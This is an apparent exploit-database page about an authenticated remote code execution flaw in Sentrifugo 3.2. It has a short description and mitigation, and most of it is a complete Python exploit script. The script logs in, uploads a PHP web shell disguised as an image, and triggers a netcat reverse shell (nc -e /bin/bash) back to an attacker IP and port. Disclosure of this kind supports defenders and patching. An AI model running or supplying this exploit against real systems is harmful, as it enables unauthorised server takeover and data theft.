Sentrifugo 3.2 - 'assets' Remote Code Execution (Authenticated)

vendor:

Sentrifugo

by:

Fatih Çelik

9.8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Sentrifugo

Affected Version From: 3.2

Affected Version To: 3.2

Patch Exists: NO

Related CWE: N/A

CPE: a:sentrifugo:sentrifugo:3.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux 2020.2

2020

Sentrifugo 3.2 – ‘assets’ Remote Code Execution (Authenticated)

Sentrifugo 3.2 is vulnerable to authenticated remote code execution. An attacker can upload a malicious PHP file to the application and execute arbitrary code on the server. The attacker can use the credentials of a valid user to log in to the application and upload the malicious file. The malicious file can be triggered by accessing the URL of the uploaded file.

Mitigation:

Restrict access to the application and use strong authentication mechanisms. Use a web application firewall to detect and block malicious requests.

Source

Exploit-DB raw data:

# Exploit Title: Sentrifugo 3.2 - 'assets' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.10.06
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://sourceforge.net/projects/sentrifugo/
# Software Link: https://sourceforge.net/projects/sentrifugo/
# Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated_6.html
# Version: 3.2
# Tested on: Kali Linux 2020.2
# CVE : N/A

import requests
from bs4 import BeautifulSoup
from ast import literal_eval

'''
You should change the below hardcoded inputs to get a reverse shell.
'''

login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave"
upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/assets/assets/uploadsave"
call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/assets_images_temp/"
username = "xxxx"
password = "xxxx"

attacker_ip = "XXX.XXX.XXX.XXX"
listener_port = "4444"

# Set proxy for debugging purposes

proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"}

# Log in to the system

session = requests.Session()
request = session.get(login_url)
body = {"username":username,"password":password}
# session.post(login_url, data=body, proxies=proxy) 
session.post(login_url, data=body) # Send a request without proxy
print("Logged in to the application..")

# Upload the PHP shell
files = [
    ('myfile', 
        ('shell.php',
        '<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port),
        'image/jpeg')
    )
]
# r = session.post(upload_url, files=files, proxies=proxy)
r = session.post(upload_url, files=files) # Send a request without proxy
response = r.content
dict_str = response.decode("UTF-8")
response = literal_eval(dict_str) # Convert bytes to dictionary
filename = response["filedata"]["new_name"]
url = call_shell + filename
print("PHP file is uploaded --> {}".format(url))

# Trigger the shell
session.get(url)